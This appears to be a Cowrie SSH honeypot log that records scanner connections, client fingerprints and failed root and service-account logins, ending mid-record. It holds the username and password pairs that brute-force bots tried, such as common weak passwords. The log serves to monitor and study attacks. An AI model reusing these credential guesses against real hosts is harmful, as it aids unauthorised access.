{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:ca:de:66:7e:35:f4:c9:af:6c:3f:5d:31:fb:b6:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxbKd0UW5bF7XiAS7+z/ih93Ki8q1ldW0P9wTkzq8m9b6FBQUyYDpIiXm8goLrTuUGsGOnPeZS/MBMt8eSQYOdeQ798HlFDgts9XeDds0o3Ts2/6udkazp4ThYs/42AEBs9p5HUROHmXJnClxOXsEXC+DRqFtFCbTDV8AmP7b0KSCWRsFl5FqkbUadq575rhApzVKO3m3CZ9E8bKL6OP4yxZCWc3lV9Ju/2qf9bZuaoqnLeugBWd0vG5Hvky6qo/tqpkOTum0QL45mSrrqlDXt81FWyOe6fdVGCakgG0o11nVaTYuhUJbC3vw68LQ18PxYo/Y1MaqRQ7nikRBPQqAt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.784023Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:7b:6c:42:71:7a:54:c9:62:0a:18:4b:d9:8f:3c:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoy8yRrTKlCBT2RAqjc83vRbqiUN87UnVguNRWesm140du5rgpA44VYuzlOLLcYPAhd4dljC3N4SLkopid4mfY5J1Fjef1IVEJOOlGWgCSjebgwypxV5Pnx+fg6GrHFy1NLQ5dZGmIK24wKRLAyIXHGHIUjQiquB1pn+2EKrC2QwiW4yVxnPl+h7/fM4IEOVtkUsx/CpWEsR5O8M7ijZficX6KbynxRLiToom7JlGK39ZrOzj/FlE6F8VouX/RA8VNMeDC91v/YxZr/sCaPB/AaTeXL1loYUXbDUqETmvwtmgR9ZK/67aRwrf93oLqRo3pQhwyV6whdO06DtsyJZv6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:7b:6c:42:71:7a:54:c9:62:0a:18:4b:d9:8f:3c:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.857873Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:7b:6c:42:71:7a:54:c9:62:0a:18:4b:d9:8f:3c:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoy8yRrTKlCBT2RAqjc83vRbqiUN87UnVguNRWesm140du5rgpA44VYuzlOLLcYPAhd4dljC3N4SLkopid4mfY5J1Fjef1IVEJOOlGWgCSjebgwypxV5Pnx+fg6GrHFy1NLQ5dZGmIK24wKRLAyIXHGHIUjQiquB1pn+2EKrC2QwiW4yVxnPl+h7/fM4IEOVtkUsx/CpWEsR5O8M7ijZficX6KbynxRLiToom7JlGK39ZrOzj/FlE6F8VouX/RA8VNMeDC91v/YxZr/sCaPB/AaTeXL1loYUXbDUqETmvwtmgR9ZK/67aRwrf93oLqRo3pQhwyV6whdO06DtsyJZv6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.862020Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:39:d6:5f:d9:e5:59:1a:7e:b7:8a:2b:06:c4:1a:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxYMmFILG+k0ukjIAI7mj/XmNBRmGdsOazAPK0XLOwgoyzoqtX6WlR4TTMAxxjCwZxUxoEHmqb/664Zx70u8ln9vQdYjmmKx2uv/N8ET9mNv5G9tax65Tmfm1B9EcIOaOHS91sEZZ4rQEXilOZcrqdffP5guJGkGY7r5zwiUZm4TX4jEgDqi3trU00fptEbmx0e976dYljGjvsSxDn0y+iXSQrTSEDvHmljwLmne549OS7R15S8mLHLMDmc2N9yNGHOwDP8yRjAZSN93ifxLNLm7UIhGXLjdkJ0H+T9MUdqKrb2RUHNtcIQ+js1xErpy7e3a7zfWSilAqsOudpyu0Aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:39:d6:5f:d9:e5:59:1a:7e:b7:8a:2b:06:c4:1a:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.937509Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:39:d6:5f:d9:e5:59:1a:7e:b7:8a:2b:06:c4:1a:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxYMmFILG+k0ukjIAI7mj/XmNBRmGdsOazAPK0XLOwgoyzoqtX6WlR4TTMAxxjCwZxUxoEHmqb/664Zx70u8ln9vQdYjmmKx2uv/N8ET9mNv5G9tax65Tmfm1B9EcIOaOHS91sEZZ4rQEXilOZcrqdffP5guJGkGY7r5zwiUZm4TX4jEgDqi3trU00fptEbmx0e976dYljGjvsSxDn0y+iXSQrTSEDvHmljwLmne549OS7R15S8mLHLMDmc2N9yNGHOwDP8yRjAZSN93ifxLNLm7UIhGXLjdkJ0H+T9MUdqKrb2RUHNtcIQ+js1xErpy7e3a7zfWSilAqsOudpyu0Aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.941331Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:32.015442Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:33.320937Z","src_ip":"89.223.127.55","session":"2eda8b146064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":43742,"dst_ip":"10.17.0.5","dst_port":22,"session":"b41b990739c0","protocol":"ssh","message":"New connection: 43.128.112.183:43742 (10.17.0.5:22) [session: b41b990739c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:33.893659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:33.897871Z","src_ip":"43.128.112.183","session":"b41b990739c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:34.134024Z","src_ip":"43.128.112.183","session":"b41b990739c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx!@","message":"login attempt [root/qazwsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:35.113250Z","src_ip":"43.128.112.183","session":"b41b990739c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:36.352544Z","src_ip":"43.128.112.183","session":"b41b990739c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":60302,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c6ab709c1d6","protocol":"ssh","message":"New connection: 103.122.221.179:60302 (10.17.0.5:22) [session: 1c6ab709c1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:36.594094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:36.599192Z","src_ip":"103.122.221.179","session":"1c6ab709c1d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:36.845953Z","src_ip":"103.122.221.179","session":"1c6ab709c1d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:37.586728Z","src_ip":"103.122.221.179","session":"1c6ab709c1d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:38.836764Z","src_ip":"103.122.221.179","session":"1c6ab709c1d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":58722,"dst_ip":"10.17.0.5","dst_port":22,"session":"126494e203cd","protocol":"ssh","message":"New connection: 43.173.83.154:58722 (10.17.0.5:22) [session: 126494e203cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:42.064738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:42.069522Z","src_ip":"43.173.83.154","session":"126494e203cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:42.141214Z","src_ip":"43.173.83.154","session":"126494e203cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backoffice","message":"login attempt [root/backoffice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:42.446375Z","src_ip":"43.173.83.154","session":"126494e203cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:43.525585Z","src_ip":"43.173.83.154","session":"126494e203cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40808,"dst_ip":"10.17.0.5","dst_port":22,"session":"57095a9657d9","protocol":"ssh","message":"New connection: 103.195.236.96:40808 (10.17.0.5:22) [session: 57095a9657d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:47.318542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:47.323017Z","src_ip":"103.195.236.96","session":"57095a9657d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:47.562618Z","src_ip":"103.195.236.96","session":"57095a9657d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos","message":"login attempt [root/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:48.282465Z","src_ip":"103.195.236.96","session":"57095a9657d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:49.524886Z","src_ip":"103.195.236.96","session":"57095a9657d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48384,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f4593665364","protocol":"ssh","message":"New connection: 193.32.162.151:48384 (159.203.135.109:22) [session: 3f4593665364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:56.422345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:56.428509Z","src_ip":"193.32.162.151","session":"3f4593665364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:56.530806Z","src_ip":"193.32.162.151","session":"3f4593665364","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus123","message":"login attempt [nexus/nexus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:56.844258Z","src_ip":"193.32.162.151","session":"3f4593665364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:57.949848Z","src_ip":"193.32.162.151","session":"3f4593665364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":51612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d34f3c592f","protocol":"ssh","message":"New connection: 43.153.56.192:51612 (10.17.0.5:22) [session: a4d34f3c592f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:05.290403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:05.295459Z","src_ip":"43.153.56.192","session":"a4d34f3c592f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:05.363450Z","src_ip":"43.153.56.192","session":"a4d34f3c592f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxx","message":"login attempt [root/xxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:05.666378Z","src_ip":"43.153.56.192","session":"a4d34f3c592f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:06.737835Z","src_ip":"43.153.56.192","session":"a4d34f3c592f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55176,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81a7a0d1460","protocol":"ssh","message":"New connection: 80.66.85.226:55176 (159.203.135.109:22) [session: a81a7a0d1460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:10.086250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:10.095403Z","src_ip":"80.66.85.226","session":"a81a7a0d1460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-2